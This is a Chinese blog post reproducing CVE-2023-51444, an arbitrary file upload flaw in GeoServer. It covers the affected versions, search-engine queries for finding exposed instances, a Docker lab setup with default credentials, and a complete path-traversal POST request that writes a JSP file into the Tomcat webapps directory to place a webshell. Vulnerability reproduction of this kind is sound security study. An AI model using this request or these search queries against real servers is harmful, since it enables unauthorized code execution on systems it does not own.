1day 【漏洞复现 | 成功上传Webshell】Geoserver 任意文件上传（CVE-2023-51444），从零基础到精通，收藏这篇就够了！-优快云博客

免责声明

disclaimer

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。信息及工具收集于互联网，真实性及安全性自测，如有侵权请联系删除。本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！！！未经授权，严禁转载，如需转载，联系小明信安公众号。

0x02 漏洞介绍

Vulnerability introduction

GeoServer 是一个用 Java 编写的开源软件服务器，允许用户共享和编辑地理空间数据。

在`2.23.4`版本之前和`2.24.1`版本之前存在一个任意文件上传漏洞，允许经过身份验证的管理员通过`REST Coverage Store API`修改覆盖存储器权限上传任意文件内容到任意文件位置。漏洞利用需要管理员权限。

影响版本：

    GeoServer < 2.23.4

    2.24.0 <= GeoServer < 2.24.1

 CVE编号：

    CVE-2023-51444

0x03 搜索语法

Search for syntax

Fofa

app="GeoServer"

Hunter

app.name="GeoServer"

Quake

app:"GeoServer"

0x04 漏洞复现

Request packets

本地搭建环境，还是使用docker来起一个geoserver服务。

docker run -itd -p 8080:8080 docker.osgeo.org/geoserver:2.22.x

默认登录账号密码：admin/geoserver

然后点击工作空间，新建一个test，点击保存。
然后点击新建存储仓库，数据源选择ImageMosaic，工作空间选择刚刚新建的test。
然后，重点来了，关系到你能不能成功。
下面的连接参数选项，需要选择绝对路径，以这个镜像为例，点击浏览，目录选择/（就是根目录），可以浏览服务器文件目录结构，找到GeoServer的存储目录（就是存我们刚刚选择的ImageMosaic的目录）。
应该是xxx/xxx/xxx/coverages/mosaic_sample/，这个镜像在/opt/geoserver_data/coverages/mosaic_sample/，就选择这个目录，然后保存就行了。
直接输入file:///opt/geoserver_data/coverages/mosaic_sample/
最后一步，上传任意文件。构造数据包，我直接多写几个../穿到根目录，后面再加要写入的目录绝对路径（上面浏览中可以看到所有目录结构）。(这里我们选择可以解析jsp文件的目录，可以根据实际情况修改)。而且需要填写Cookie。
注意两个test，前面的是工作空间，后面的是存储仓库。

POST /geoserver/rest/workspaces/test/coveragestores/test/file.shp?filename=../../../../../opt/apache-tomcat-9.0.86/webapps/webshell/1.jsp HTTP/1.1   Host: your-ip   Content-Length: 3   Accept:image/avif,image/webp,image/apng,image/svg+xml, image/*,*/*;9-0.8   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36   x-forwarded-for:127.0.0.1   Cookie: remember-me=xxxx   Content-Type: multipart/form-data;; boundary-----WebKitFormBoundaryfoycybhDiQZEqxoy   Accept-Encoding: gzip, deflate, br   Accept-Language: zh-CN,zh;q=0.9   Connection: close      <% out.println("Hello World！");%>